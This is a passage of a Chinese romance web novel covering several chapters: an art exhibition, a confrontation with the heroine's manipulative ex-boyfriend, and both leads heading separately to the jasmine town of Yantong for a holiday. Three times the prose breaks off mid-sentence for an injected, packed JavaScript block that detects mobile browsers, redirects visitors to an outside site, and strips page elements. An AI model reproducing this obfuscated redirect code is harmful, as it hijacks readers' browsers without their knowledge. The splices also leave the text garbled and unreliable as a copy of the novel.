那天依旧是这么个流程,不过地点换成了KTV。结束时有个朋友拿了筒礼花过来,一开,满屋都是飘扬的金粉。严宇之正同程烨然聊天,提及最近要办的一个美术展,展览的都是法国古典主义知名画家的画作。票十分紧俏,以往他都能拿十几张票,现在只拿到五张。 程烨然听他这话,心里忽然一动,打算朝严宇之要两张。出价只要不太夸张,他都能接受。 可严宇之听了他的话,却说:“出什么价啊,我直接送你就是了。都是朋友,谁计较这个。” 于是第二天,这两张轻飘飘的票,就到了程烨然手里。 在邀请许知蕴时,他其实还是有几分忐忑,拿不准对方是否会答应。毕竟他于她而言究竟是什么人呢? 一个有点交情但不多的朋友、一个同住一栋,楼上楼下的邻居、还是一个带点戏剧性的相亲对象? 但许知蕴答应了。 她接过那张被人保存得很好的展览票,笑着道:“我在新闻里看到过这个展览,知道这个票很抢手。是因为我请你吃了饭,所以你要给我回礼么?” 程烨然也笑了;“是啊,你请我吃了一顿那么好吃的饭,我当然要回礼了。” “那我就恭敬不如从命啦。” 等到了七楼,许知蕴离开电梯时,还在哼着歌。或许是今天出门遇见了洒水车?程烨然听见她轻声哼的是《兰花草》。 * 逛展的那一天,天气很好。 展馆里的人很多,但十分有序。穿着上也百花齐放,有穿着一身小众品牌高定的,也有穿着白色背心大裤衩,脚踩拖鞋的。 许知蕴虽然也在学校里选修过几堂西方美术相关的课程,还得了A等,但她知道自己其实都是死记硬背,今天考完,立马就把昨天学的背的忘个干净。什么普桑、洛兰,在她眼里都一个样。 但这不妨碍她欣赏画作原本的美丽。经典的东西,无需言辞的桂冠,就足以让人的目光流连忘返,深受震撼。 程烨然就在她身后半步的位置,每当她询问时,他就微微弯下腰来,轻声给她解答。许知蕴听得很认真,随身还带了个本子记笔记,说自己既然来了这里,就得抓紧时间陶冶一下情操。 展厅有两层楼,他们先从二楼开始逛。一路上遇到了好些熟人:有程烨然认识的,也有许知蕴认识的。碰面时眼神对视,点点头,就算打过招呼了。程烨然还在帕特尔的展厅里偶遇了严宇之。这人穿着还是那么不修边幅,身边跟着个小朋友,是他的外甥。外甥一脸苦大仇深,好像来看展览是什么必须完成的任务。 严宇之早就看见程烨然了,当然也看见了他身旁的许知蕴。两张票的另外一张到了谁手上,这便显而易见了。程烨然同他介绍,说许知蕴是自己的朋友,严宇之没有作什么暧昧的遐想,也没有打趣的调侃,只是笑着说:“真有缘分啊,希望许小姐参观愉快。” 说完,就带着他正在抽空打手机游戏的外甥走了。 许知蕴小声问程烨然:“他外甥看起来不是很想逛展啊。” 程烨然说:“这是家长给的任务。据说这孩子参观完之后,还得给父母写观后感呢。” 噫,观后感。许知蕴从小到大最讨厌这个玩意。“这么严格呐?” “嗯。”程烨然对他们家的家风也是早有耳闻,“据说这小朋友马上就要出国了,将来也是读艺术。” 怪不得抓得那么紧。 许知蕴不由得感谢自己的父母。许父许母虽然都是博士,但并没有产生“自己的孩子也一定要是博士”的思想,反而是由着许知蕴去,让她想怎么生长就怎么生长。所幸这颗小树没有长成歪脖子。 “那你呢?”她抬头问身旁的男人,“你们家也会要求你一定要学这学那吗?” 程烨然摊了摊手,神情透出几分无辜和自然:“他们啊……他们会抓我哥,但不怎么管我。估计是大号养好了,小号就随便养了。” 许知蕴听他这话,噗嗤一声笑了出来。 他们逛完了二楼,从扶梯下到一楼。一楼的展厅比二楼的要大些,他们在一楼逛了差不多两个小时,才将主要的展厅走完。还有一些比较偏远的小展厅,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067585|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能进去,但许知蕴也不强求——主要是实在有点累了。她不敢想象那些穿着高跟鞋的贵妇人,难道不会感到脚酸吗? 一楼靠近门口的地方有家咖啡厅,她提出去那里坐坐,顺便喝杯咖啡。“我请你喝吧。”她欢快地说,“毕竟你都请我看展了。” 程烨然没有推脱,她便开始看菜单。这家咖啡的菜单设计得很简洁,没有花里胡哨,很是素净。她点了一杯拿铁,随后偏过头问程烨然喝什么。 程烨然笑道:“你来挑吧,只要是常温的,我都可以。” 他们的身体距离靠得其实不算近,就是正常的社交范畴。但两人的神态很自然,就像这个对话在他们之间发生过很多次。 许知蕴很快做出了选择:“一杯西班牙拿铁,常温少甜。” 她付了钱,接过小票,随意找了个位置坐下,看向他:“我点的这个应该还合你口味吧?” 她莫名觉得,程烨然应该会喜欢喝这款。理由嘛,说不上来,或许就是女人的第六感吧。果然,对面的人点了点头:“嗯,非常精准。” 其实这是程烨然最爱的咖啡。 许知蕴有些得意地笑笑,忽然见到他的目光停留在自己的头发上。“怎么了?”她问。 程烨然说:“头发勾到发夹上了……”见许知蕴伸手要拨弄,他连忙站起身,“你不要动,等我一下。” 许知蕴今天扎了个斜着的辫子,用发夹将稍短不服帖的头发和鬓边的刘海都夹了起来。 或许是因为扎的时间久了,辫子松了,从缝隙中钻出来的头发勾到了旁边的发夹,显得有些凌乱。 他走到许知蕴身侧,小心地将她勾在发夹上的头发顺下来。为了不扯痛她,程烨然的力度很轻,一边顺一边低声问许知蕴:“没有扯到你吧?” 许知蕴说:“没有,你放心大胆地弄好了。” 将头发全部顺下来,辫子就变得更松垮了。程烨然索性道:“我帮你重新编一个吧。” 许知蕴有些吃惊:“哎?你会编辫子?” 倒也不是她刻板印象,只是她接触的男人,包括她爸,对长头发的种种处理很是苦手。之前许父自告奋勇帮许母绑丸子头,结果折腾了十多分钟,还没有许母随性一挽来的效果要好。 程烨然笑了笑:“我哥为了给我嫂子做发型,还买了顶假发练手。我在旁边看了好多遍,看也看会了。” 他说着,轻柔地将皮筋拿下来,然后开始给许知蕴编辫子。那双拿笔的手很灵巧,很快就编好了。许知蕴拿手机的镜子一照,倒发现程烨然编的辫子比她编的还要好看。 “哇,你弄的比我之前还好!” 她搜刮脑子里的所有的赞美之辞来夸奖程烨然,然后举着手机照镜子,上看下看,很是满意。程烨然重新回到对面,安静地看她照镜子。他们之间的气氛似乎形成了一层完美的平衡。 但很快,这层平衡就被一个男声打破了。 9. 第九章 听到那一声带点傲气的“许知蕴”的时候,她是有些茫然的。她回过头,看见一个瘦高男人,就站在不远处,一手拿一杯咖啡,另一手吊儿郎当地插兜。 程烨然也看到了:“这是你朋友么?” 许知蕴第一反应是摇头:“我不认识他啊。” 但紧接着,随着这个男人朝他们走近了几步,她脑海里的回忆突然翻涌而起,一下子从记忆的匣子里找出了这张脸。 不过记忆里的人,要比现在面前的人年轻很多。她几乎是在那人靠近的时刻就想起来了:这人叫梁丰。 是她大学时的前男友。 程烨然见许知蕴的神色有些变化,想她估计是记起来这人是谁了,就站起身来,说:“我去趟洗手间,你们慢慢聊。” 许知蕴知道他其实不是去洗手间,而是给他们留说话的空间——尽管许知蕴其实一点也不想说话。但她看梁丰那样子,似乎有很多话要说。 梁丰走近,找了张椅子坐下。许知蕴闻到他身上淡淡的烟味,忍不住皱了皱鼻子。这人浑身上下穿的都是名牌,但无论这些牌子怎么昂贵,他穿起来,就是有一股暴发户的气息。 许知蕴将其归结为审美问题。 梁丰抬眼,用堪称冒犯的目光将许知蕴从头到脚打量了一遍,出声问:“最近怎么样?” 许知蕴懒得跟这个昂着头,鼻孔似乎要朝天的男人说客套话:“不怎么样。” 她这回答明显是敷衍了事,梁丰皱了皱眉,从口袋里掏出钥匙,在手里把玩着:“大学毕业后,我继承了我爸的公司。绿卡已经拿到了,所以几年后,我打算去美国定居。” 钥匙在他手里晃来晃去,许知蕴能隐隐看见钥匙上的车标。如果没看错,那应该是迈巴赫。 倒像是故意甩给她看的。 许知蕴神色淡淡,语调很平,听不出什么情绪:“哦,那么好啊。那就恭喜你了。” 一拳砸在了棉花上。梁丰沉默了几秒,忽然道:“那人是你男朋友?” “不是。”许知蕴很想朝他翻个白眼,但碍于礼节,又生生忍住了。 “不是男朋友……”梁丰咀嚼着这个回答,忽然露出个玩味到极点的笑容,“那就是炮友咯?” 许知蕴的眼神“噌”地冷了下来。 她最恨别人开颜色腔调,何况是开到她头上。“梁丰,”她站起身来,面无表情道,“收回你的话。” 但梁丰置若罔闻:“我认得他,他是程家的二公子。二公子又怎么样,还不是玩女人?如果我同他一样有钱,甚至比他更有钱,你会跟我吗?放心,我不会介意你和他睡了多少次的。” 许知蕴不断地深呼吸,在内心强调;这是公共场合,不能大声喧哗,不能吵架,不能吵架……然而心底还是源源不断地生出一股无法熄灭的怒火。气到了极点,反而笑出了声:“我看你还是太幼稚了。” 她毫不畏惧地直视着梁丰的眼睛:“总有人觉得,女人是个多么低贱的物种。他们希望女人温柔、和顺、顾家,穿他们喜欢的衣服,变成他们喜欢的样子。 他们不把女人当人看,只看做是一只宠物。不想要,就随时丢弃。但似乎只要自己想要了,女人就能乖乖爬回来服侍他。女人算什么呢?用钞票和甜言蜜语就能拉拢过来,这个世界上所有的东西,所有美好的事物,都该绕着你们团团转。 你们多了不起啊,是世界的中心。你们太了不起了,简直不、得、了! “剥夺掉你所有的金钱,你剩什么?你以为用金钱就能买到所有的事物了?我所求不过是一颗真心与尊重,我愿意开价上亿来买你的真心和尊重,那么请问,你有吗?” 许知蕴嘲讽地笑了笑:“我知道,你没有。你简直幼稚自大过了头。还有,我讨厌别人开黄腔,把你那些下流的想象收回去。” 她语速又快又急,音量虽不大,但吐字清晰,让人听得清清楚楚。梁丰几次三番想要打断,但都被许知蕴瞪了回去。说完这么大一段话,她脸不红、心不跳、气不喘,只是冷冷看他一眼,拎起包就要走人。 梁丰脸色青白,见她要走,连忙要去拦她,却被不远处传来的一个低沉的声音定住。“这位先生还想同许小姐叙旧么?” 程烨然施施然走过来,到她身前。许知蕴这才发现程烨然并没有去洗手间,而是在不远处找了个僻静的角落,留心他们的状况。“我看你们叙旧,似乎是有点不愉快的样子。” 他睨了梁丰一眼:“我看先生脸色不好,想必是累了。不如早日回去休息?” 目光在梁丰手上的迈巴赫钥匙上停留了几秒,“如果不方便,我可以为您叫车。” 梁丰这人,喜欢在比他阶级低的人面前横。一旦碰到比他高的,他就横不起来了。“不必了。”他咬着牙说,“我可以自己开车走。” “哦?”程烨然似乎有些惊讶的样子,“那最好了。” 梁丰只感觉一阵血液冲上了头。原先他的脸是青白色的,现在倒涨成了猪肝色。他一言不发地转身,迈着怒气冲冲的步子离开了。 看他走后,许知蕴低声说:“谢谢你啊。” 如果程烨然不在,她也有办法脱身,只不过不能像现在这样干脆利落。 闹了这样一场,咖啡是喝不下的了。他们离开了展馆。来到车库时,程烨然说:“不介意的话,我来开车吧。” 许知蕴点点头。她现在其实还是有点情绪化,而情绪化的人还是别开车的好。 车子驶上主路。窗外的高架桥上,一排排红色的车灯凝固在空气中,动弹不得。许知蕴按了首舒缓的车载纯音乐,就坐在副驾驶上发呆。 在这样的寂静中,程烨然的声音格外清晰:“我大概知道他。他应该姓梁,家里做的是旅游方面的生意。” 车子平稳地开着,许知蕴又听见他问:“我看你们刚才似乎差点要吵起来了……或者说已经吵起来了更合适。可以同我说说么?不说也没有关系。” 面前是一个三岔路口,他们停下来等红灯。当红灯变绿,车子朝前走了几十米后,才传来许知蕴的声音:“他是我前男友。” 许知蕴和梁丰在一场讲座中认识。那时梁丰还没学会抽烟,看起来也是彬彬有礼,还会热情地帮人搬东西——许知蕴后来想起时,都有一瞬间的恍惚:究竟是梁丰变了,还是先前的一切不过是他的伪装? 梁丰对许知蕴一见钟情,费了大力气追求她。时常去她面前刷脸,同她一起去图书馆学习。梁丰的追求很大胆,有一次,甚至在宿舍楼下摆了一圈爱心花,坐在中间弹着吉他,大声唱《喜欢你》。唱完,大喊许知蕴的名字,问她愿不愿意做自己女朋友。 刚上大学的小姑娘,心里怎么会没有对爱情美好的幻想?许知蕴虽然觉得他这个喊楼的举措有些令人害臊,但不可否认的是,她也对梁丰有些好感。这人长得也帅、性格热情、成绩也好——不如试一试? 她就这样把自己“试”进了这份恋爱。 但她逐渐发现,梁丰对她的感情,正在慢慢发生变化。后来她明白了,有一个词叫做“PUA”。 梁丰喜欢小鸟依人的女生。他约许知蕴看电影,选的是一部恐怖片。许知蕴看得津津有味,可梁丰却在电影结束后发了脾气。后来许知蕴才知道,是因为自己没有如他“想象中”一般,柔弱地钻进他怀里。 逛街时,明明蓝色的裙子更加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067586|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好看合身,梁丰非要她选另一件粉色的,并说:“粉色多好看啊,我喜欢你穿粉色。这件短裙更好看。” 梁丰同他的朋友聚餐,给许知蕴发了个地址,打电话叫她过去。许知蕴说,我昨天熬夜做比赛课件,很困,要睡觉。梁丰却说,别人的女朋友都能来,为什么你不能来? 许知蕴在电话那头顿了一下。 那时起,她就打定主意同梁丰分手了。她朝电话那头的男人嗤笑一声:“谁给你的权力命令我?我不喜欢别人命令我。”随后干脆地挂断了电话。 不是不想在兄弟面前丢脸吗?我就不让你得偿所愿。 交往半年后,她同梁丰提了分手。 半年的时间看似不短,但在许知蕴的叙述里,也就只有两三分钟罢了。许知蕴尽量让自己的叙述显得轻松点,她没具体讲述梁丰刚刚朝她说的话,也没有将当年恋爱时的不愉快经历细细道出。其实过了好几年,那些关于相处细节的记忆已经不甚清晰。现在想想,似乎那些在外人看来只不过是无足轻重的小事,但在当事人看来,却是层层叠叠的重压。 “就这样。我和他分手了。”许知蕴说完,喝了一口水,“分手后他还想找我,都被我躲开了。” 但没想到,他们会在这里遇见。 程烨然能从车内后视镜里看见许知蕴的神情。她说这些的时候的确显得很平淡,似乎说的只是“小学上课因为讲小话被老师抓包”之类的事情。 但他也很清楚,这样的创伤是免不了疼痛的。 “是他的问题。”程烨然说,“你很好。” 车子又过了一个红绿灯,再转过路口后直行,就快要到达目的地了。路灯的光温柔地照着前方,把一切事物的影子都拉得老长。 “你很好,这样的好,是不需要去无条件迁就别人,也不需要被拿来比较的。我曾听说有位小姨,事业很成功,但是是不婚主义。有人劝她结婚,说她这么好的条件,能配个更优秀更成功的男人。你猜我小姨怎么回答的?” 许知蕴来了兴趣:“怎么回答的?” 估计是因为早就知道答案,程烨然有些忍俊不禁:“她说,‘我管我和他配不配得上,那又怎么样?我的资本不是拿来给你们配来配去的。’挺霸气吧?” 许知蕴都能想象到那位小姨说这话的神态了。“确实挺霸气的。”她深吸一口气,感觉自己的心情好了很多,“你说得没错。我确实挺好的。我是一等一的好人。” 不仅是好人,吵架也很厉害呢。程烨然回想刚才的场景。他同他们有一段距离,再加上周围声音的干扰,对于他们的谈话——或者说是争吵内容,其实听得并不清楚,只是隐隐约约。但他仍然看出来,许知蕴的嘴皮子功夫十分了得。 很伶俐的一个人,看起来挺斯文,却在关键时刻很是硬气。或许还带点阴阳怪气。 “程烨然。”被他想着的人忽然问,“你会和人吵架吗?” “当然会。” 从小到大,其实他同他哥吵得最多。 “那胜率怎么样?” “嗯……比较低。” 程烨熙骂人喜欢引经据典,每次程烨然跟他理论,程烨熙都要在话里加入一大堆中外典故,肚子里没点墨水还听不懂。有时程烨然同他吵着吵着,忽然就开始思考这人先前说的那句话到底是什么意思——思考来思考去,这架自然就吵输了。 许知蕴哈哈笑起来:“看不出啊。我看你刚刚挺厉害的,很有风范嘛。” 她的笑声并不像小学里被过分使用的比喻句一样,是“银铃般的”。那笑声很是肆意,有点不优雅,还有点哑,但却织成了一条美丽的调子,在人的心里轻轻回荡着。 10. 第十章 许妈妈寄来了一箱的快递。寄出地点是希腊。 快递员上门的时候,许知蕴很是吃惊。毕竟这箱子确实很大,看起来也沉甸甸的。 帮她将箱子搬进屋后,快递员就离开了。 许知蕴把自己正在看的下饭剧关掉,从客厅茶几下的置物架里拿了一把剪刀,咔嚓几声就把透明胶剪开。 箱子里东西很多,但都被包装得很结实。有从集市上淘来的杏色陶瓷杯、也有一大袋耳饰与手镯,金的银的宝蓝的都有。许知蕴很喜欢里边的一个手镯,上面的橄榄枝花纹很复古。箱子里还有个牛皮纸袋,打开一看,都是烫金的明信片。有些明信片上附了店主的签名,有些则是空的。另一个透明的袋子里则是各式各样的冰箱贴,还有个做工精致的雕花盒,一打开,是白金的月桂花环头冠。 还有个灰不溜秋的塑料袋,许知蕴想用手撕开,但撕不动,只好再用剪刀剪开。 里边是好几件衣服。 许知蕴想,或许除了那一堆杯子,这也是重量的来源:灰白黑三色同款的羊毛开衫、重工刺绣披肩、还有几件各色格子的印花度假裙。 她把其中一件白色的裙子拿起来,在窗边展开。阳光落在这条洁白的裙子上,晕染出柔和的珠光。 她拿过手机,打了个电话过去。那边很快就接了:“喂,小蕴,东西收到没有?” 许知蕴笑着说:“收到了收到了,我都很喜欢……只是你怎么想起来给我买衣服了?” “在商场里面逛,看到合适的,就想给你买了。我手机里存了你的尺码,我是按着你的码数选的,你试试看看合不合适。” 许知蕴拿过开衫上身,照了照镜子,又拿过那条白色的裙子在身上比了比。“我觉得很合适。” “合适就好啦,五一假期马上要到了,我记得你之前就说这个假期要出去玩,没错吧?穿点好看的新衣服出去啦。” 许知蕴是去年十二月时在家里的饭桌上聊到这个的。冬天,家里在煮火锅,暖洋洋的。许父许母高调宣布明年二月份就要去欧洲畅玩一圈,于是许知蕴说,自己五一假期也要出去玩。妈吗问她,要去哪玩呢?许知蕴啃着鸡爪,口齿不清地说,还没想好呢。 她没想到父母还会记得自己的无心之言。 不过,她也确实有五一假期出游的打算。不过她并不打算去热门城市看人头,而是打算去个小地方,悠悠闲闲地度过这几天。 她手上整理着衣服,忙着把众多可爱搞怪的陶瓷杯们拿到洗手池去洗:“是啊,我假期是要出去玩。我打算去延桐。” 延桐是个小城市,距离这也不远,坐高铁两个小时就到了。 “是吗?延桐有什么好玩的?” “去游山玩水,然后赏茉莉呀。”许知蕴说,“我之前刷手机时就看到了,一到季节,茉莉花就开了,可漂亮了。花一开,据说延桐的街道上,都满溢着茉莉的味道。” 延桐的别名,就是“茉莉之城”。但或许因为本身名气小,加上当地文旅部门不太关注的原因,这么一座美好的小县城,却在“黄金周”“小长假”期间翻不出什么水花。就连担心去大城市人挤人,转而去搜寻小众旅游地点的人们,也不一定能找到它。 “那你记得做攻略啊,买车票啊。我听说假期的票可难买了。” “放心吧,你女儿我的手速可是准准的。总不至于站着去吧。” 许知蕴一边叠衣服,一边自信满满地说。 可她没想到,自己竟然一语成谶。在车票开售的当天,她守着手机,准时准点进去,却发现购票按钮在一开始就变成了橙黄色的“候补”。由于延桐是个小城,经过的列车也就只有那么一趟,并且在整个假期,只有头尾两天有车。许知蕴手忙脚乱地填了候补信息,过了几天,又忙着抢回来的票。 这次很顺利,回来的票早早抢上了。但去的票还没有动静。 许知蕴很心焦,在“中转方案”里看了一堆,愣是没有找到满意的。 在出发的前一天,她的手机终于收到了“候补成功”的消息。可她满怀希望地打开后,却发现自己候补到的是一张无座票。 ……算了,无座就无座吧。两个小时,也不是不行。 她去杂货店买了张可折叠的军绿色小凳子,收拾好了东西,在一个阳光明媚的中午,踏上了这趟开往哈尔滨西,途经延桐的列车。 * 程烨然的侄子很自豪地将这次小测验的试卷拿了出来。鲜红色的“92”映入眼帘。 “叔叔,看我的分数!变高了吧,都上90了!” 程烨然拿过卷子扫了一遍,满意地点点头:“嗯,不错。这是数学的试卷。英语和语文的呢?” 小朋友的脸色顿时变得刷白。“这个……”他扭扭捏捏地去翻书包,将两张皱巴巴的试卷拿出来,动作缓慢得像是被人开了0.5倍速键。“嗯……考得不是特别好……” “赶紧的吧,我又不像你爸,还会骂你?” 程烨然把皱巴巴的卷子摊开:英语66,语文73。坏消息是没达到他哥定的要求,好消息是起码都及了格。 程烨然是被他哥拉来当家教的。 小侄子叫俊俊,今年上小学二年级。小学刚入学时成绩还马马虎虎,但随着时间的推移,越来越差,甚至好几次都没及格。自己和妻子的工作都很忙,程烨熙就决定,给儿子找个家教老师。 谁是水平高、有耐心、收费又合理的家教呢?程烨熙根本没想这个问题——他直接找到了他弟。 程烨然刚开始是拒绝的:“工作忙,周末只想休息……你还不如把俊俊的美术班停了。他不学画画,或许还能放心思在学习上。” 程烨熙摇头:“不行,那老师很严格,找他我可花了大力气。” “那你也可以花大力气找个家教嘛。” “所以我来找你啊。劝你教教你侄子,我看也能费我蛮大力气。” 程烨然叹了口气:“行行行,你工资开够我的就行了。” 于是程烨然荣升为俊俊的家庭教师,负责教他语数英三门科目。每周三和周日,他就赶回老宅,给俊俊辅导作业。 俊俊其实很喜欢自己这个叔叔。他小时候玩的玩具,很大一部分都是叔叔送的。他想要某牌子的限量款玩偶,叔叔也能给他拿到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067587|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是现在叔叔要当自己的老师了。俊俊很是忐忑。 但程烨然教得还不错——辅导了一个月,俊俊的成绩终于又从及格线下回升了。其中数学学得最好,语文次之,英语学得最差。但总比刚开始三科都不及格要好得多。 每次拿到俊俊那如股票线一样波动不定的英语成绩,程烨然都很纳闷。他问俊俊:“你小时候不是上的国际幼儿园吗?按道理来说英语应该不差才对。” 俊俊说;“叔叔,可是我的成绩都通货膨胀了呀!大家都是直升上来,相比之下我的成绩当然就……好吧,在幼儿园的时候其实就已经是吊车尾了……” 程烨然循循善诱:“你说,是不是不上美术班,你就有更多时间学习了?是这个道理吧?” 谁知俊俊的反应却很激烈:“不行!我要上美术班!老师可好了,我每次都能得夸奖,还能坐前排呢!” 程烨然很惊讶。据他所知,这个美术老师可是严厉的不得了。看来俊俊有这方面的天赋? 辅导来辅导去,在五一假期前,俊俊的成绩总算有了可喜可贺的进步:数学考了97,语文和英语都是88,可以说是进步飞速了。俊俊很高兴,吃饭的时候拿着三张试卷在程烨熙面前晃悠:“爸,你看!” 说完,他开始跟他爸妈讨价还价:“五一我想去旅游,看在我进步的份上,就让我去吧!” 江玥温柔地摸了摸他的头:“爸爸妈妈也想去,但实在是挤不出时间呀。等暑假我们再去好不好?” 程烨熙和江玥虽然住在老宅,但他们在家的时间并不算多,也就只有偶尔的周末,能够一家人坐下来,好好吃三餐。平日里,俊俊都是由管家照顾。 听了妈妈的话,俊俊并不放弃:“那我和叔叔去。叔叔总该有空吧?” 被点到名的程烨然正在吃金钱肚。“我?”他三两下把金钱肚咽下去,“你为什么觉得我会有空?” 俊俊说:“我知道你们公司假放得最多。我之前看见你朋友圈了,每次假期你都放满,不是去这吃,就是去那玩。叔叔,和我去旅游嘛,好不好?” 小朋友眨巴着大眼睛,看得人心都要可爱化掉了。 程烨然五一正好有出游的打算,但他还没想好去哪:“行啊。你选个目的地呗。” “我早就想好啦。”俊俊跑到书房,拿出一个小本本。上面是他稚嫩的字体,将每一天的行程都规划得满满当当,看起来是早有准备,“我们去延桐吧!我听说延桐有好多农家乐,可以去那里抓鱼然后烤来吃。它还有好多山,我们可以去爬山……延桐还有茉莉花,我想要那个茉莉花手串!” 他紧张地看着程烨然,生怕对方不同意自己的计划。毕竟延桐是个小县城,和其他热门旅游城市比起来,它显得太不值一提。 程烨然其实没去过延桐。如果不是俊俊提起,他都差点要忘记,周边还有那么个不起眼的地方。 “那你的美术课怎么办?”他问。 俊俊满不在意地说,老师自己假期都要去澳洲玩,根本没空管他们。双方都放假,多好。 “那可以啊。”程烨然是个很开明的大人,“那我们就去延桐。” 11. 第十一章 但是很快就碰到了一个问题:车票怎么办? 他们的出行计划,算得上是临时起意。票开售的日期早就过了,程烨然点进车票软件,看见五一当天的出行列车全部都是“售罄”。俊俊也在扒拉自己的手机。程烨然想着,如果买不到票,他就开车去。如今高速路四通八达,开车无非是久一点罢了。 他正这么想着,忽然听见俊俊惊喜的声音:“有人把两个商务座退掉了!正好够我们一人一个!” 小朋友的手速就是快,转眼间就填好了信息订好了票。很快,程烨然的手机就接受到了订票成功的短信。 他摸了摸俊俊的头:“真棒。你负责再买回程的车票。住宿的事情就交给我了。” 俊俊朝他敬礼:“保证完成任务!” * 许知蕴起了个大早,素着脸出了门。地铁站里就已经能看出人挤人的景象,到了车站里更是人山人海。她拖着个行李箱,排着长长的队伍过安检,又随着人流去到检票口。 虽然感觉很是拥挤,但这些小小的不舒服在看到高铁窗外的景色时,就烟消云散了。 现在是美丽的夏天。阳光很好,勾勒出空气的形状。 城市里,是没有连绵的山丘的,取而代之的是一幢幢切割了天空的高楼。在这样密度的高楼大厦里生存,很容易忘记抬头去看天空的景色。每一天的云都是不一样的,有的似乎触手可及,有的又很是高远。 车厢里的声音很嘈杂,混杂了各色的方言。许知蕴找了个空地,打开她的折叠凳,坐着百无聊赖地刷手机。但其实刷手机也刷得并不开心,因为每停靠一个站,她都要起身给上下列车的人腾出位置。 就在这样来来去去的折腾中,两个小时一晃而过。 拉着行李箱出站的时候,许知蕴就已经闻到空气中淡淡的香气了。 车站很小,走两步就能看到天空。路两旁的茉莉花,有一些已经盛放,但大部分,还只是花骨朵儿。可尽管是这样,茉莉花的香气还是从四面八方沁入人的心脾。即使是五一黄金周,车站的人依旧很少,大部分是拖着行李箱进站的,或许要到别处去吧。许知蕴跟随指引到了公交站,等车的途中,还碰见一个穿着民族服饰的大姐,用家乡话在喊:“两块钱一串茉莉花,要不要买一串咧?” 许知蕴摇摇头。比起买一串,她更想自己摘几朵花串起来。大姐见她摇头,又用方言说了句什么,就踱到另一边了。 后来她才知道,那句话的意思是“祝你玩得开心”。 公交摇摇晃晃地来,看上去很袖珍,像一块蓬松的面包。许知蕴提着行李箱上车,找了个位置坐下。车子又晃晃悠悠地向前开了。 她定的是一家民宿。 民宿的装修是原木风,一楼有个庭院,种满了各色鲜花。现在是夏天,花开得很繁盛,阳光落在上面,就像镀了一层蜜糖。许知蕴进门的时候,前台是个比她还小的姑娘,很热情地帮她拿行李,还给她安排了据说是“风景最好的房间”,房号是312。 许知蕴打开房间。她放好行李,然后走到窗边,轻轻推开了窗子。 她想,前台小姑娘的话果然没错。这里的风景真的很好。 她能望见蓝得没有一丝白云的天空,在天空之下,是连绵起伏的翠绿的青山。道路两旁种满了茉莉,深呼吸时,鼻尖萦绕着的全是香味,心情都变好了。 这才是崭新的假期的开始。 * 许知蕴准备去爬山。 山上的人倒是挺多,一路上都能看见不少。听路人说,这几天晚上山脚下还有长桌宴和篝火表演,到时候更热闹。许知蕴爬到一半,已经汗如雨下,不得不找个树荫歇息会。树荫下还有同样在休息的旅游团,导游举着旗子讲这座山的神话传说。许知蕴假装自己也是旅游团的一员,偷偷加入其中。 等故事讲完了,导游大手一挥,说我们在半山腰休息一下,该买水的买水、该吃东西的吃东西,我们十五分钟后在树荫下集合。人群闹哄哄散去,分散到各个角落。许知蕴看见不远处有一家店在卖烤肠,香气传来,不免心动,跑到烤肠机前问:“多少钱一根?” 烤肠大爷眼都不抬:“五块一根,八块两根。” ……看来还是低估了景点的物价。许知蕴犹豫着看向旁边的冷柜,“那冰棍呢?” “三块钱一根。只有绿豆老冰棍和红豆老冰棍。” 她思考了一下,最后还是决定吃冰棍:“那给我来一根绿豆的吧。” 扫码付了款,撕开包装,冰棍的寒气直往外冒。她小心翼翼的舔了一口,但还是被冰到了牙齿——不过这绿豆冰棍是真的挺好吃。 她后边是一个小孩,很豪气地点了四份:“我要两根烤肠,两根冰棍,一根绿豆一根红豆。我给你现金。”说完就从口袋里掏出张皱巴巴的二十块钱等找零。拿了东西,他也没有立即吃,而是坐在一张躺椅上,伸着脖子,四处张望。 这小孩挺可爱的。不过身旁怎么没有大人?许知蕴凑过去,摆好表情,让自己显得不那么像人贩子:“小弟弟,你怎么一个人在这?你的爸爸妈妈呢?” 小朋友转过来,大眼睛忽闪忽闪的,许知蕴觉得他的睫毛比自己的都要长。“我是跟叔叔来的。叔叔在那边买风车,等下就过来了。风车很好看的。” 听到这小孩不是跟家人走丢,许知蕴稍微放了心。她本打算吃完冰棍再走人,现在看来,还是等着这孩子的叔叔来接他再走吧。 她这么想着,突然听见这小朋友用他略显稚嫩的嗓音冷不丁来了一句:“姐姐,你是不是怕我跟家人走丢了,或者担心我被拐卖呀?” 许知蕴手里的冰棍差点掉在地上:“什、什么?” 小朋友自顾自地说:“放心好啦,姐姐。我叔叔一会就来。” 许知蕴问他:“胆子这么大,不怕我拐卖你啊?” 